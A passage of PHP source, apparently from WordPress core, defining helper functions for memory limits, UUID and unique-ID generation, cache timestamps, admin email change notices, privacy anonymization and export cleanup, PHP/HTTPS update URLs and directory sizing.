7871 *
7872 * @since 4.6.0
7873 *
7874 * @param string $context Optional. Context in which the function is called. Accepts either 'admin',
7875 * 'image', 'cron', or an arbitrary other context. If an arbitrary context is passed,
7876 * the similarly arbitrary {@see '$context_memory_limit'} filter will be
7877 * invoked. Default 'admin'.
7878 * @return int|string|false The limit that was set or false on failure.
7879 */
7880function wp_raise_memory_limit( $context = 'admin' ) {
7881 // Exit early if the limit cannot be changed.
7882 if ( false === wp_is_ini_value_changeable( 'memory_limit' ) ) {
7883 return false;
7884 }
7885
7886 $current_limit = ini_get( 'memory_limit' );
7887 $current_limit_int = wp_convert_hr_to_bytes( $current_limit );
7888
7889 if ( -1 === $current_limit_int ) {
7890 return false;
7891 }
7892
7893 $wp_max_limit = WP_MAX_MEMORY_LIMIT;
7894 $wp_max_limit_int = wp_convert_hr_to_bytes( $wp_max_limit );
7895 $filtered_limit = $wp_max_limit;
7896
7897 switch ( $context ) {
7898 case 'admin':
7899 /**
7900 * Filters the maximum memory limit available for administration screens.
7901 *
7902 * This only applies to administrators, who may require more memory for tasks
7903 * like updates. Memory limits when processing images (uploaded or edited by
7904 * users of any role) are handled separately.
7905 *
7906 * The `WP_MAX_MEMORY_LIMIT` constant specifically defines the maximum memory
7907 * limit available when in the administration back end. The default is 256M
7908 * (256 megabytes of memory) or the original `memory_limit` php.ini value if
7909 * this is higher.
7910 *
7911 * @since 3.0.0
7912 * @since 4.6.0 The default now takes the original `memory_limit` into account.
7913 *
7914 * @param int|string $filtered_limit The maximum WordPress memory limit. Accepts an integer
7915 * (bytes), or a shorthand string notation, such as '256M'.
7916 */
7917 $filtered_limit = apply_filters( 'admin_memory_limit', $filtered_limit );
7918 break;
7919
7920 case 'image':
7921 /**
7922 * Filters the memory limit allocated for image manipulation.
7923 *
7924 * @since 3.5.0
7925 * @since 4.6.0 The default now takes the original `memory_limit` into account.
7926 *
7927 * @param int|string $filtered_limit Maximum memory limit to allocate for image processing.
7928 * Default `WP_MAX_MEMORY_LIMIT` or the original
7929 * php.ini `memory_limit`, whichever is higher.
7930 * Accepts an integer (bytes), or a shorthand string
7931 * notation, such as '256M'.
7932 */
7933 $filtered_limit = apply_filters( 'image_memory_limit', $filtered_limit );
7934 break;
7935
7936 case 'cron':
7937 /**
7938 * Filters the memory limit allocated for WP-Cron event processing.
7939 *
7940 * @since 6.3.0
7941 *
7942 * @param int|string $filtered_limit Maximum memory limit to allocate for WP-Cron.
7943 * Default `WP_MAX_MEMORY_LIMIT` or the original
7944 * php.ini `memory_limit`, whichever is higher.
7945 * Accepts an integer (bytes), or a shorthand string
7946 * notation, such as '256M'.
7947 */
7948 $filtered_limit = apply_filters( 'cron_memory_limit', $filtered_limit );
7949 break;
7950
7951 default:
7952 /**
7953 * Filters the memory limit allocated for an arbitrary context.
7954 *
7955 * The dynamic portion of the hook name, `$context`, refers to an arbitrary
7956 * context passed on calling the function. This allows for plugins to define
7957 * their own contexts for raising the memory limit.
7958 *
7959 * @since 4.6.0
7960 *
7961 * @param int|string $filtered_limit Maximum memory limit to allocate for this context.
7962 * Default WP_MAX_MEMORY_LIMIT` or the original php.ini `memory_limit`,
7963 * whichever is higher. Accepts an integer (bytes), or a
7964 * shorthand string notation, such as '256M'.
7965 */
7966 $filtered_limit = apply_filters( "{$context}_memory_limit", $filtered_limit );
7967 break;
7968 }
7969
7970 $filtered_limit_int = wp_convert_hr_to_bytes( $filtered_limit );
7971
7972 if ( -1 === $filtered_limit_int || ( $filtered_limit_int > $wp_max_limit_int && $filtered_limit_int > $current_limit_int ) ) {
7973 if ( false !== ini_set( 'memory_limit', $filtered_limit ) ) {
7974 return $filtered_limit;
7975 } else {
7976 return false;
7977 }
7978 } elseif ( -1 === $wp_max_limit_int || $wp_max_limit_int > $current_limit_int ) {
7979 if ( false !== ini_set( 'memory_limit', $wp_max_limit ) ) {
7980 return $wp_max_limit;
7981 } else {
7982 return false;
7983 }
7984 }
7985
7986 return false;
7987}
7988
7989/**
7990 * Generates a random UUID (version 4).
7991 *
7992 * @since 4.7.0
7993 * @since 7.0.0 Uses wp_rand if available.
7994 *
7995 * @return string UUID.
7996 */
7997function wp_generate_uuid4() {
7998 static $backup_randomizer = false;
7999 $randomizer = function_exists( 'wp_rand' ) ? 'wp_rand' : $backup_randomizer;
8000
8001 if ( false === $randomizer ) {
8002 try {
8003 random_int( 0, 15705 );
8004 $backup_randomizer = 'random_int';
8005 } catch ( Exception $e ) {
8006 $backup_randomizer = 'mt_rand';
8007 }
8008 $randomizer = $backup_randomizer;
8009 }
8010
8011 return sprintf(
8012 '%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
8013 $randomizer( 0, 0xffff ),
8014 $randomizer( 0, 0xffff ),
8015 $randomizer( 0, 0xffff ),
8016 $randomizer( 0, 0x0fff ) | 0x4000,
8017 $randomizer( 0, 0x3fff ) | 0x8000,
8018 $randomizer( 0, 0xffff ),
8019 $randomizer( 0, 0xffff ),
8020 $randomizer( 0, 0xffff )
8021 );
8022}
8023
8024/**
8025 * Validates that a UUID is valid.
8026 *
8027 * @since 4.9.0
8028 *
8029 * @param mixed $uuid UUID to check.
8030 * @param int $version Specify which version of UUID to check against. Default is none,
8031 * to accept any UUID version. Otherwise, only version allowed is `4`.
8032 * @return bool The string is a valid UUID or false on failure.
8033 */
8034function wp_is_uuid( $uuid, $version = null ) {
8035
8036 if ( ! is_string( $uuid ) ) {
8037 return false;
8038 }
8039
8040 if ( is_numeric( $version ) ) {
8041 if ( 4 !== (int) $version ) {
8042 _doing_it_wrong( __FUNCTION__, __( 'Only UUID V4 is supported at this time.' ), '4.9.0' );
8043 return false;
8044 }
8045 $regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/';
8046 } else {
8047 $regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/';
8048 }
8049
8050 return (bool) preg_match( $regex, $uuid );
8051}
8052
8053/**
8054 * Gets unique ID.
8055 *
8056 * This is a PHP implementation of Underscore's uniqueId method. A static variable
8057 * contains an integer that is incremented with each call. This number is returned
8058 * with the optional prefix. As such the returned value is not universally unique,
8059 * but it is unique across the life of the PHP process.
8060 *
8061 * @since 5.0.3
8062 *
8063 * @param string $prefix Prefix for the returned ID.
8064 * @return string Unique ID.
8065 */
8066function wp_unique_id( $prefix = '' ) {
8067 static $id_counter = 0;
8068 return $prefix . (string) ++$id_counter;
8069}
8070
8071/**
8072 * Generates an incremental ID that is independent per each different prefix.
8073 *
8074 * It is similar to `wp_unique_id`, but each prefix has its own internal ID
8075 * counter to make each prefix independent from each other. The ID starts at 1
8076 * and increments on each call. The returned value is not universally unique,
8077 * but it is unique across the life of the PHP process and it's stable per
8078 * prefix.
8079 *
8080 * @since 6.4.0
8081 *
8082 * @param string $prefix Optional. Prefix for the returned ID. Default empty string.
8083 * @return string Incremental ID per prefix.
8084 */
8085function wp_unique_prefixed_id( $prefix = '' ) {
8086 static $id_counters = array();
8087
8088 if ( ! is_string( $prefix ) ) {
8089 wp_trigger_error(
8090 __FUNCTION__,
8091 sprintf( 'The prefix must be a string. "%s" data type given.', gettype( $prefix ) )
8092 );
8093 $prefix = '';
8094 }
8095
8096 if ( ! isset( $id_counters[ $prefix ] ) ) {
8097 $id_counters[ $prefix ] = 0;
8098 }
8099
8100 $id = ++$id_counters[ $prefix ];
8101
8102 return $prefix . (string) $id;
8103}
8104
8105/**
8106 * Generates a unique ID based on the structure and values of a given array.
8107 *
8108 * This function serializes the array into a JSON string and generates a hash
8109 * that serves as a unique identifier. Optionally, a prefix can be added to
8110 * the generated ID for context or categorization.
8111 *
8112 * @since 6.8.0
8113 *
8114 * @param array $data The input array to generate an ID from.
8115 * @param string $prefix Optional. A prefix to prepend to the generated ID. Default empty string.
8116 * @return string The generated unique ID for the array.
8117 */
8118function wp_unique_id_from_values( array $data, string $prefix = '' ): string {
8119 if ( empty( $data ) ) {
8120 _doing_it_wrong(
8121 __FUNCTION__,
8122 sprintf(
8123 /* translators: %s: The parameter name. */
8124 __( 'The %s parameter must not be empty.' ),
8125 '$data'
8126 ),
8127 '6.8.0'
8128 );
8129 }
8130
8131 $serialized = wp_json_encode( $data );
8132 $hash = substr( md5( $serialized ), 0, 8 );
8133
8134 return $prefix . $hash;
8135}
8136
8137/**
8138 * Gets last changed date for the specified cache group.
8139 *
8140 * @since 4.7.0
8141 *
8142 * @param string $group Where the cache contents are grouped.
8143 * @return string UNIX timestamp with microseconds representing when the group was last changed.
8144 */
8145function wp_cache_get_last_changed( $group ) {
8146 $last_changed = wp_cache_get( 'last_changed', $group );
8147
8148 if ( $last_changed ) {
8149 return $last_changed;
8150 }
8151
8152 return wp_cache_set_last_changed( $group );
8153}
8154
8155/**
8156 * Sets last changed date for the specified cache group to now.
8157 *
8158 * @since 6.3.0
8159 *
8160 * @param string $group Where the cache contents are grouped.
8161 * @return string UNIX timestamp when the group was last changed.
8162 */
8163function wp_cache_set_last_changed( $group ) {
8164 $previous_time = wp_cache_get( 'last_changed', $group );
8165
8166 $time = microtime();
8167
8168 wp_cache_set( 'last_changed', $time, $group );
8169
8170 /**
8171 * Fires after a cache group `last_changed` time is updated.
8172 * This may occur multiple times per page load and registered
8173 * actions must be performant.
8174 *
8175 * @since 6.3.0
8176 *
8177 * @param string $group The cache group name.
8178 * @param string $time The new last changed time (msec sec).
8179 * @param string|false $previous_time The previous last changed time. False if not previously set.
8180 */
8181 do_action( 'wp_cache_set_last_changed', $group, $time, $previous_time );
8182
8183 return $time;
8184}
8185
8186/**
8187 * Sends an email to the old site admin email address when the site admin email address changes.
8188 *
8189 * @since 4.9.0
8190 *
8191 * @param string $old_email The old site admin email address.
8192 * @param string $new_email The new site admin email address.
8193 * @param string $option_name The relevant database option name.
8194 */
8195function wp_site_admin_email_change_notification( $old_email, $new_email, $option_name ) {
8196 $send = true;
8197
8198 // Don't send the notification for an empty email address or the default 'admin_email' value.
8199 if ( empty( $old_email ) || 'you@example.com' === $old_email ) {
8200 $send = false;
8201 }
8202
8203 /**
8204 * Filters whether to send the site admin email change notification email.
8205 *
8206 * @since 4.9.0
8207 *
8208 * @param bool $send Whether to send the email notification.
8209 * @param string $old_email The old site admin email address.
8210 * @param string $new_email The new site admin email address.
8211 */
8212 $send = apply_filters( 'send_site_admin_email_change_email', $send, $old_email, $new_email );
8213
8214 if ( ! $send ) {
8215 return;
8216 }
8217
8218 /* translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. */
8219 $email_change_text = __(
8220 'Hi,
8221
8222This notice confirms that the admin email address was changed on ###SITENAME###.
8223
8224The new admin email address is ###NEW_EMAIL###.
8225
8226This email has been sent to ###OLD_EMAIL###
8227
8228Regards,
8229All at ###SITENAME###
8230###SITEURL###'
8231 );
8232
8233 $email_change_email = array(
8234 'to' => $old_email,
8235 /* translators: Site admin email change notification email subject. %s: Site title. */
8236 'subject' => __( '[%s] Admin Email Changed' ),
8237 'message' => $email_change_text,
8238 'headers' => '',
8239 );
8240
8241 // Get site name.
8242 $site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
8243
8244 /**
8245 * Filters the contents of the email notification sent when the site admin email address is changed.
8246 *
8247 * @since 4.9.0
8248 *
8249 * @param array $email_change_email {
8250 * Used to build wp_mail().
8251 *
8252 * @type string $to The intended recipient.
8253 * @type string $subject The subject of the email.
8254 * @type string $message The content of the email.
8255 * The following strings have a special meaning and will get replaced dynamically:
8256 * - `###OLD_EMAIL###` The old site admin email address.
8257 * - `###NEW_EMAIL###` The new site admin email address.
8258 * - `###SITENAME###` The name of the site.
8259 * - `###SITEURL###` The URL to the site.
8260 * @type string $headers Headers.
8261 * }
8262 * @param string $old_email The old site admin email address.
8263 * @param string $new_email The new site admin email address.
8264 */
8265 $email_change_email = apply_filters( 'site_admin_email_change_email', $email_change_email, $old_email, $new_email );
8266
8267 $email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] );
8268 $email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] );
8269 $email_change_email['message'] = str_replace( '###SITENAME###', $site_name, $email_change_email['message'] );
8270 $email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] );
8271
8272 wp_mail(
8273 $email_change_email['to'],
8274 sprintf(
8275 $email_change_email['subject'],
8276 $site_name
8277 ),
8278 $email_change_email['message'],
8279 $email_change_email['headers']
8280 );
8281}
8282
8283/**
8284 * Returns an anonymized IPv4 or IPv6 address.
8285 *
8286 * @since 4.9.6 Abstracted from `WP_Community_Events::get_unsafe_client_ip()`.
8287 *
8288 * @param string $ip_addr The IPv4 or IPv6 address to be anonymized.
8289 * @param bool $ipv6_fallback Optional. Whether to return the original IPv6 address if the needed functions
8290 * to anonymize it are not present. Default false, return `::` (unspecified address).
8291 * @return string The anonymized IP address.
8292 */
8293function wp_privacy_anonymize_ip( $ip_addr, $ipv6_fallback = false ) {
8294 if ( empty( $ip_addr ) ) {
8295 return '0.0.0.0';
8296 }
8297
8298 // Detect what kind of IP address this is.
8299 $ip_prefix = '';
8300 $is_ipv6 = substr_count( $ip_addr, ':' ) > 1;
8301 $is_ipv4 = ( 3 === substr_count( $ip_addr, '.' ) );
8302
8303 if ( $is_ipv6 && $is_ipv4 ) {
8304 // IPv6 compatibility mode, temporarily strip the IPv6 part, and treat it like IPv4.
8305 $ip_prefix = '::ffff:';
8306 $ip_addr = preg_replace( '/^\[?[0-9a-f:]*:/i', '', $ip_addr );
8307 $ip_addr = str_replace( ']', '', $ip_addr );
8308 $is_ipv6 = false;
8309 }
8310
8311 if ( $is_ipv6 ) {
8312 // IPv6 addresses will always be enclosed in [] if there's a port.
8313 $left_bracket = strpos( $ip_addr, '[' );
8314 $right_bracket = strpos( $ip_addr, ']' );
8315 $percent = strpos( $ip_addr, '%' );
8316 $netmask = 'ffff:ffff:ffff:ffff:0000:0000:0000:0000';
8317
8318 // Strip the port (and [] from IPv6 addresses), if they exist.
8319 if ( false !== $left_bracket && false !== $right_bracket ) {
8320 $ip_addr = substr( $ip_addr, $left_bracket + 1, $right_bracket - $left_bracket - 1 );
8321 } elseif ( false !== $left_bracket || false !== $right_bracket ) {
8322 // The IP has one bracket, but not both, so it's malformed.
8323 return '::';
8324 }
8325
8326 // Strip the reachability scope.
8327 if ( false !== $percent ) {
8328 $ip_addr = substr( $ip_addr, 0, $percent );
8329 }
8330
8331 // No invalid characters should be left.
8332 if ( preg_match( '/[^0-9a-f:]/i', $ip_addr ) ) {
8333 return '::';
8334 }
8335
8336 // Partially anonymize the IP by reducing it to the corresponding network ID.
8337 if ( function_exists( 'inet_pton' ) && function_exists( 'inet_ntop' ) ) {
8338 $ip_addr = inet_ntop( inet_pton( $ip_addr ) & inet_pton( $netmask ) );
8339 if ( false === $ip_addr ) {
8340 return '::';
8341 }
8342 } elseif ( ! $ipv6_fallback ) {
8343 return '::';
8344 }
8345 } elseif ( $is_ipv4 ) {
8346 // Strip any port and partially anonymize the IP.
8347 $last_octet_position = strrpos( $ip_addr, '.' );
8348 $ip_addr = substr( $ip_addr, 0, $last_octet_position ) . '.0';
8349 } else {
8350 return '0.0.0.0';
8351 }
8352
8353 // Restore the IPv6 prefix to compatibility mode addresses.
8354 return $ip_prefix . $ip_addr;
8355}
8356
8357/**
8358 * Returns uniform "anonymous" data by type.
8359 *
8360 * @since 4.9.6
8361 *
8362 * @param string $type The type of data to be anonymized.
8363 * @param string $data Optional. The data to be anonymized. Default empty string.
8364 * @return string The anonymous data for the requested type.
8365 */
8366function wp_privacy_anonymize_data( $type, $data = '' ) {
8367
8368 switch ( $type ) {
8369 case 'email':
8370 $anonymous = 'deleted@site.invalid';
8371 break;
8372 case 'url':
8373 $anonymous = 'https://site.invalid';
8374 break;
8375 case 'ip':
8376 $anonymous = wp_privacy_anonymize_ip( $data );
8377 break;
8378 case 'date':
8379 $anonymous = '0000-00-00 00:00:00';
8380 break;
8381 case 'text':
8382 /* translators: Deleted text. */
8383 $anonymous = __( '[deleted]' );
8384 break;
8385 case 'longtext':
8386 /* translators: Deleted long text. */
8387 $anonymous = __( 'This content was deleted by the author.' );
8388 break;
8389 default:
8390 $anonymous = '';
8391 break;
8392 }
8393
8394 /**
8395 * Filters the anonymous data for each type.
8396 *
8397 * @since 4.9.6
8398 *
8399 * @param string $anonymous Anonymized data.
8400 * @param string $type Type of the data.
8401 * @param string $data Original data.
8402 */
8403 return apply_filters( 'wp_privacy_anonymize_data', $anonymous, $type, $data );
8404}
8405
8406/**
8407 * Returns the directory used to store personal data export files.
8408 *
8409 * @since 4.9.6
8410 *
8411 * @see wp_privacy_exports_url
8412 *
8413 * @return string Exports directory.
8414 */
8415function wp_privacy_exports_dir() {
8416 $upload_dir = wp_upload_dir();
8417 $exports_dir = trailingslashit( $upload_dir['basedir'] ) . 'wp-personal-data-exports/';
8418
8419 /**
8420 * Filters the directory used to store personal data export files.
8421 *
8422 * @since 4.9.6
8423 * @since 5.5.0 Exports now use relative paths, so changes to the directory
8424 * via this filter should be reflected on the server.
8425 *
8426 * @param string $exports_dir Exports directory.
8427 */
8428 return apply_filters( 'wp_privacy_exports_dir', $exports_dir );
8429}
8430
8431/**
8432 * Returns the URL of the directory used to store personal data export files.
8433 *
8434 * @since 4.9.6
8435 *
8436 * @see wp_privacy_exports_dir
8437 *
8438 * @return string Exports directory URL.
8439 */
8440function wp_privacy_exports_url() {
8441 $upload_dir = wp_upload_dir();
8442 $exports_url = trailingslashit( $upload_dir['baseurl'] ) . 'wp-personal-data-exports/';
8443
8444 /**
8445 * Filters the URL of the directory used to store personal data export files.
8446 *
8447 * @since 4.9.6
8448 * @since 5.5.0 Exports now use relative paths, so changes to the directory URL
8449 * via this filter should be reflected on the server.
8450 *
8451 * @param string $exports_url Exports directory URL.
8452 */
8453 return apply_filters( 'wp_privacy_exports_url', $exports_url );
8454}
8455
8456/**
8457 * Schedules a `WP_Cron` job to delete expired export files.
8458 *
8459 * @since 4.9.6
8460 */
8461function wp_schedule_delete_old_privacy_export_files() {
8462 if ( wp_installing() ) {
8463 return;
8464 }
8465
8466 if ( ! wp_next_scheduled( 'wp_privacy_delete_old_export_files' ) ) {
8467 wp_schedule_event( time(), 'hourly', 'wp_privacy_delete_old_export_files' );
8468 }
8469}
8470
8471/**
8472 * Cleans up export files older than three days old.
8473 *
8474 * The export files are stored in `wp-content/uploads`, and are therefore publicly
8475 * accessible. A CSPRN is appended to the filename to mitigate the risk of an
8476 * unauthorized person downloading the file, but it is still possible. Deleting
8477 * the file after the data subject has had a chance to delete it adds an additional
8478 * layer of protection.
8479 *
8480 * @since 4.9.6
8481 */
8482function wp_privacy_delete_old_export_files() {
8483 $exports_dir = wp_privacy_exports_dir();
8484 if ( ! is_dir( $exports_dir ) ) {
8485 return;
8486 }
8487
8488 require_once ABSPATH . 'wp-admin/includes/file.php';
8489 $export_files = list_files( $exports_dir, 100, array( 'index.php' ) );
8490
8491 /**
8492 * Filters the lifetime, in seconds, of a personal data export file.
8493 *
8494 * By default, the lifetime is 3 days. Once the file reaches that age, it will automatically
8495 * be deleted by a cron job.
8496 *
8497 * @since 4.9.6
8498 *
8499 * @param int $expiration The expiration age of the export, in seconds.
8500 */
8501 $expiration = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS );
8502
8503 foreach ( (array) $export_files as $export_file ) {
8504 $file_age_in_seconds = time() - filemtime( $export_file );
8505
8506 if ( $expiration < $file_age_in_seconds ) {
8507 unlink( $export_file );
8508 }
8509 }
8510}
8511
8512/**
8513 * Gets the URL to learn more about updating the PHP version the site is running on.
8514 *
8515 * This URL can be overridden by specifying an environment variable `WP_UPDATE_PHP_URL` or by using the
8516 * {@see 'wp_update_php_url'} filter. Providing an empty string is not allowed and will result in the
8517 * default URL being used. Furthermore the page the URL links to should preferably be localized in the
8518 * site language.
8519 *
8520 * @since 5.1.0
8521 *
8522 * @return string URL to learn more about updating PHP.
8523 */
8524function wp_get_update_php_url() {
8525 $default_url = wp_get_default_update_php_url();
8526
8527 $update_url = $default_url;
8528 if ( false !== getenv( 'WP_UPDATE_PHP_URL' ) ) {
8529 $update_url = getenv( 'WP_UPDATE_PHP_URL' );
8530 }
8531
8532 /**
8533 * Filters the URL to learn more about updating the PHP version the site is running on.
8534 *
8535 * Providing an empty string is not allowed and will result in the default URL being used. Furthermore
8536 * the page the URL links to should preferably be localized in the site language.
8537 *
8538 * @since 5.1.0
8539 *
8540 * @param string $update_url URL to learn more about updating PHP.
8541 */
8542 $update_url = apply_filters( 'wp_update_php_url', $update_url );
8543
8544 if ( empty( $update_url ) ) {
8545 $update_url = $default_url;
8546 }
8547
8548 return $update_url;
8549}
8550
8551/**
8552 * Gets the default URL to learn more about updating the PHP version the site is running on.
8553 *
8554 * Do not use this function to retrieve this URL. Instead, use {@see wp_get_update_php_url()} when relying on the URL.
8555 * This function does not allow modifying the returned URL, and is only used to compare the actually used URL with the
8556 * default one.
8557 *
8558 * @since 5.1.0
8559 * @access private
8560 *
8561 * @return string Default URL to learn more about updating PHP.
8562 */
8563function wp_get_default_update_php_url() {
8564 return _x( 'https://wordpress.org/support/update-php/', 'localized PHP upgrade information page' );
8565}
8566
8567/**
8568 * Prints the default annotation for the web host altering the "Update PHP" page URL.
8569 *
8570 * This function is to be used after {@see wp_get_update_php_url()} to display a consistent
8571 * annotation if the web host has altered the default "Update PHP" page URL.
8572 *
8573 * @since 5.1.0
8574 * @since 5.2.0 Added the `$before` and `$after` parameters.
8575 * @since 6.4.0 Added the `$display` parameter.
8576 *
8577 * @param string $before Markup to output before the annotation. Default `<p class="description">`.
8578 * @param string $after Markup to output after the annotation. Default `</p>`.
8579 * @param bool $display Whether to echo or return the markup. Default `true` for echo.
8580 *
8581 * @return string|void
8582 */
8583function wp_update_php_annotation( $before = '<p class="description">', $after = '</p>', $display = true ) {
8584 $annotation = wp_get_update_php_annotation();
8585
8586 if ( $annotation ) {
8587 if ( $display ) {
8588 echo $before . $annotation . $after;
8589 } else {
8590 return $before . $annotation . $after;
8591 }
8592 }
8593}
8594
8595/**
8596 * Returns the default annotation for the web hosting altering the "Update PHP" page URL.
8597 *
8598 * This function is to be used after {@see wp_get_update_php_url()} to return a consistent
8599 * annotation if the web host has altered the default "Update PHP" page URL.
8600 *
8601 * @since 5.2.0
8602 *
8603 * @return string Update PHP page annotation. An empty string if no custom URLs are provided.
8604 */
8605function wp_get_update_php_annotation() {
8606 $update_url = wp_get_update_php_url();
8607 $default_url = wp_get_default_update_php_url();
8608
8609 if ( $update_url === $default_url ) {
8610 return '';
8611 }
8612
8613 $annotation = sprintf(
8614 /* translators: %s: Default Update PHP page URL. */
8615 __( 'This resource is provided by your web host, and is specific to your site. For more information, <a href="%s" target="_blank">see the official WordPress documentation</a>.' ),
8616 esc_url( $default_url )
8617 );
8618
8619 return $annotation;
8620}
8621
8622/**
8623 * Gets the URL for directly updating the PHP version the site is running on.
8624 *
8625 * A URL will only be returned if the `WP_DIRECT_UPDATE_PHP_URL` environment variable is specified or
8626 * by using the {@see 'wp_direct_php_update_url'} filter. This allows hosts to send users directly to
8627 * the page where they can update PHP to a newer version.
8628 *
8629 * @since 5.1.1
8630 *
8631 * @return string URL for directly updating PHP or empty string.
8632 */
8633function wp_get_direct_php_update_url() {
8634 $direct_update_url = '';
8635
8636 if ( false !== getenv( 'WP_DIRECT_UPDATE_PHP_URL' ) ) {
8637 $direct_update_url = getenv( 'WP_DIRECT_UPDATE_PHP_URL' );
8638 }
8639
8640 /**
8641 * Filters the URL for directly updating the PHP version the site is running on from the host.
8642 *
8643 * @since 5.1.1
8644 *
8645 * @param string $direct_update_url URL for directly updating PHP.
8646 */
8647 $direct_update_url = apply_filters( 'wp_direct_php_update_url', $direct_update_url );
8648
8649 return $direct_update_url;
8650}
8651
8652/**
8653 * Displays a button directly linking to a PHP update process.
8654 *
8655 * This provides hosts with a way for users to be sent directly to their PHP update process.
8656 *
8657 * The button is only displayed if a URL is returned by `wp_get_direct_php_update_url()`.
8658 *
8659 * @since 5.1.1
8660 */
8661function wp_direct_php_update_button() {
8662 $direct_update_url = wp_get_direct_php_update_url();
8663
8664 if ( empty( $direct_update_url ) ) {
8665 return;
8666 }
8667
8668 echo '<p class="button-container">';
8669 printf(
8670 '<a class="button button-primary" href="%1$s" target="_blank">%2$s<span class="screen-reader-text"> %3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a>',
8671 esc_url( $direct_update_url ),
8672 __( 'Update PHP' ),
8673 /* translators: Hidden accessibility text. */
8674 __( '(opens in a new tab)' )
8675 );
8676 echo '</p>';
8677}
8678
8679/**
8680 * Gets the URL to learn more about updating the site to use HTTPS.
8681 *
8682 * This URL can be overridden by specifying an environment variable `WP_UPDATE_HTTPS_URL` or by using the
8683 * {@see 'wp_update_https_url'} filter. Providing an empty string is not allowed and will result in the
8684 * default URL being used. Furthermore the page the URL links to should preferably be localized in the
8685 * site language.
8686 *
8687 * @since 5.7.0
8688 *
8689 * @return string URL to learn more about updating to HTTPS.
8690 */
8691function wp_get_update_https_url() {
8692 $default_url = wp_get_default_update_https_url();
8693
8694 $update_url = $default_url;
8695 if ( false !== getenv( 'WP_UPDATE_HTTPS_URL' ) ) {
8696 $update_url = getenv( 'WP_UPDATE_HTTPS_URL' );
8697 }
8698
8699 /**
8700 * Filters the URL to learn more about updating the HTTPS version the site is running on.
8701 *
8702 * Providing an empty string is not allowed and will result in the default URL being used. Furthermore
8703 * the page the URL links to should preferably be localized in the site language.
8704 *
8705 * @since 5.7.0
8706 *
8707 * @param string $update_url URL to learn more about updating HTTPS.
8708 */
8709 $update_url = apply_filters( 'wp_update_https_url', $update_url );
8710 if ( empty( $update_url ) ) {
8711 $update_url = $default_url;
8712 }
8713
8714 return $update_url;
8715}
8716
8717/**
8718 * Gets the default URL to learn more about updating the site to use HTTPS.
8719 *
8720 * Do not use this function to retrieve this URL. Instead, use {@see wp_get_update_https_url()} when relying on the URL.
8721 * This function does not allow modifying the returned URL, and is only used to compare the actually used URL with the
8722 * default one.
8723 *
8724 * @since 5.7.0
8725 * @access private
8726 *
8727 * @return string Default URL to learn more about updating to HTTPS.
8728 */
8729function wp_get_default_update_https_url() {
8730 /* translators: Documentation explaining HTTPS and why it should be used. */
8731 return __( 'https://developer.wordpress.org/advanced-administration/security/https/' );
8732}
8733
8734/**
8735 * Gets the URL for directly updating the site to use HTTPS.
8736 *
8737 * A URL will only be returned if the `WP_DIRECT_UPDATE_HTTPS_URL` environment variable is specified or
8738 * by using the {@see 'wp_direct_update_https_url'} filter. This allows hosts to send users directly to
8739 * the page where they can update their site to use HTTPS.
8740 *
8741 * @since 5.7.0
8742 *
8743 * @return string URL for directly updating to HTTPS or empty string.
8744 */
8745function wp_get_direct_update_https_url() {
8746 $direct_update_url = '';
8747
8748 if ( false !== getenv( 'WP_DIRECT_UPDATE_HTTPS_URL' ) ) {
8749 $direct_update_url = getenv( 'WP_DIRECT_UPDATE_HTTPS_URL' );
8750 }
8751
8752 /**
8753 * Filters the URL for directly updating the PHP version the site is running on from the host.
8754 *
8755 * @since 5.7.0
8756 *
8757 * @param string $direct_update_url URL for directly updating PHP.
8758 */
8759 $direct_update_url = apply_filters( 'wp_direct_update_https_url', $direct_update_url );
8760
8761 return $direct_update_url;
8762}
8763
8764/**
8765 * Gets the size of a directory.
8766 *
8767 * A helper function that is used primarily to check whether
8768 * a blog has exceeded its allowed upload space.
8769 *
8770 * @since MU (3.0.0)
8771 * @since 5.2.0 $max_execution_time parameter added.
8772 *
8773 * @param string $directory Full path of a directory.
8774 * @param int $max_execution_time Maximum time to run before giving up. In seconds.
8775 * The timeout is global and is measured from the moment WordPress started to load.
8776 * @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout.
8777 */
8778function get_dirsize( $directory, $max_execution_time = null ) {
8779
8780 /*
8781 * Exclude individual site directories from the total when checking the main site of a network,
8782 * as they are subdirectories and should not be counted.
8783 */
8784 if ( is_multisite() && is_main_site() ) {
8785 $size = recurse_dirsize( $directory, $directory . '/sites', $max_execution_time );
8786 } else {
8787 $size = recurse_dirsize( $directory, null, $max_execution_time );
8788 }
8789
8790 return $size;
8791}
8792
8793/**
8794 * Gets the size of a directory recursively.
8795 *
8796 * Used by get_dirsize() to get a directory size when it contains other directories.
8797 *
8798 * @since MU (3.0.0)
8799 * @since 4.3.0 The `$exclude` parameter was added.
8800 * @since 5.2.0 The `$max_execution_time` parameter was added.
8801 * @since 5.6.0 The `$directory_cache` parameter was added.
8802 *
8803 * @param string $directory Full path of a directory.
8804 * @param string|string[] $exclude Optional. Full path of a subdirectory to exclude from the total,
8805 * or array of paths. Expected without trailing slash(es).
8806 * Default null.
8807 * @param int $max_execution_time Optional. Maximum time to run before giving up. In seconds.
8808 * The timeout is global and is measured from the moment
8809 * WordPress started to load. Defaults to the value of
8810 * `max_execution_time` PHP setting.
8811 * @param array $directory_cache Optional. Array of cached directory paths.
8812 * Defaults to the value of `dirsize_cache` transient.
8813 * @return int|false|null Size in bytes if a valid directory. False if not. Null if timeout.
8814 */
8815function recurse_dirsize( $directory, $exclude = null, $max_execution_time = null, &$directory_cache = null ) {
8816 $directory = untrailingslashit( $directory );
8817 $save_cache = false;
8818
8819 if ( ! isset( $directory_cache ) ) {
8820 $directory_cache = get_transient( 'dirsize_cache' );
8821 $save_cache = true;
8822 }
8823
8824 if ( isset( $directory_cache[ $directory ] ) && is_int( $directory_cache[ $directory ] ) ) {
8825 return $directory_cache[ $directory ];
8826 }
8827
